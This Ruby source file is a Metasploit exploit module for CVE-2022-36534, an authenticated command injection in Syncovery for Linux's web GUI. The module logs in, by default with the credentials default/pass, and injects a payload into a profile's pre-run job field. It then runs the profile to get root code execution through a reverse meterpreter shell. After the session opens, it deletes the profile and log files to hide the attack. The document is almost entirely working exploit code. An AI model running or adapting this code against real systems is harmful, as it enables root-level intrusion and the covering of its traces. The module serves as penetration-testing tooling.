##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Syncovery For Linux Web-GUI Authenticated Remote Command Execution',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in the Web GUI of Syncovery File Sync & Backup Software for Linux.
          Successful exploitation results in remote code execution under the context of the root user.

          Syncovery allows an authenticated user to create jobs, which are executed before/after a profile is run.
          Jobs can contain arbitrary system commands and will be executed as root.
          A valid username and password or a session token is needed to exploit the vulnerability.
          The profile and its log file will be deleted afterwards to disguise the attack.

          The vulnerability is known to work on Linux platforms. All Syncovery versions prior to v9.48j are vulnerable including all versions of branch 8.
        },
        'Author' => [ 'Jan Rude' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://www.mgm-sp.com/en/multiple-vulnerabilities-in-syncovery-for-linux/'],
          ['CVE', '2022-36534']
        ],
        'Platform' => 'unix',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          ['Syncovery for Linux < 9.48j', {}]
        ],
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        },
        'DisclosureDate' => '2022-09-06',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
        OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
        OptString.new('PASSWORD', [true, 'The password to Syncovery (default: pass)', 'pass']),
        OptString.new('TOKEN', [false, 'A valid session token', '']),
        OptString.new('TARGETURI', [true, 'The path to Syncovery', '/']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/get_global_variables'),
      'method' => 'GET'
    )

    if res && res.code == 200
      json_res = res.get_json_document
      if json_res['isSyncoveryWindows'] == 'false'
        version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
        if version.empty?
          vprint_warning("#{peer} - Could not identify version")
          Exploit::CheckCode::Detected
        elsif Rex::Version.new(version) < Rex::Version.new('9.48j') || Rex::Version.new(version) == Rex::Version.new('9.48')
          vprint_good("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Appears
        else
          vprint_status("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    else
      Exploit::CheckCode::Unknown
    end
  end

  def exploit
    @token = datastore['TOKEN']
    if @token.blank?
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, '/post_applogin.php'),
        'vars_get' => {
          'login' => datastore['USERNAME'].to_s,
          'password' => datastore['PASSWORD'].to_s
        },
        'method' => 'GET'
      })

      unless res
        fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
      end

      # After login, the application should give us a new token
      # session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
      json_res = res.get_json_document
      @token = json_res['session_token']
      if @token.present?
        vprint_good("#{peer} - Login successful")
      else
        fail_with(Failure::NoAccess, "#{peer} - Invalid credentials!")
      end
    end

    # send payload
    @profile_name = Rex::Text.rand_text_alpha_lower(20)
    json_body = {
      'ProfileName' => @profile_name,
      'Action' => 'Insert',
      'FormName' => 'synapp_profile_editor_form',
      'token' => @token,
      'Name' => @profile_name,
      'LeftPath' => '/dev/null',
      'LeftPathDisplay' => '/dev/null',
      'RightPath' => '/dev/null',
      'RightPathDisplay' => '/dev/null',
      'Job_ExecuteBefore' => payload.encoded
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/post_profilesettings.php'),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8'
      },
      'data' => JSON.generate(json_body)
    })

    if res && res.code == 200
      if res.body.to_s.include? 'Session Expired'
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid token (Session Expired)")
      elsif res.body.to_s.include? 'Inserted'
        vprint_good("#{peer} - Profile created")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Error (#{res.body})")
      end
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Error (response code: #{res.code})")
    end

    vprint_status("#{peer} - Running profile")
    json_body = {
      'ProfileName' => @profile_name,
      'token' => @token,
      'attended' => true
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/post_runprofile.php'),
      'data' => JSON.generate(json_body)
    })

    if res && res.code == 200
      print_good("#{peer} - Exploit successfully executed")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not run profile (response code: #{res.code})")
    end
  end

  def on_new_session(session)
    # Delete profile to disguise attack in Web GUI
    vprint_status("#{peer} - Trying to delete IOCs")
    json_body = {
      'ProfileName' => @profile_name,
      'token' => @token
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/post_deleteprofile.php'),
      'data' => JSON.generate(json_body)
    })

    if res && res.code == 200 && (res.body.to_s.include? 'Deleted')
      vprint_good("#{peer} - Profile successfully deleted")
    else
      print_error("#{peer} - Could not delete profile (#{res.body})")
    end

    # Remove IOC by deleting log files
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/getprogram_settings.php'),
      'vars_get' => {
        'token' => @token
      }
    )

    if res && res.code == 200
      json_res = res.get_json_document
      if json_res['LogPath'].present?
        log_path = json_res['LogPath']
      end
    end

    # Request log files
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/logfiles.json'),
      'vars_get' => {
        'pagenum' => 0,
        'pagesize' => 1
      },
      'headers' => {
        'token' => @token
      }
    })

    if res && res.code == 200
      log_file = res.body.scan(/#{@profile_name}.*?\.log/)&.flatten&.first || ''
      register_file_for_cleanup("#{log_path}/#{log_file}")
    else
      register_dirs_for_cleanup(log_path.to_s)
    end

    super
  end
end
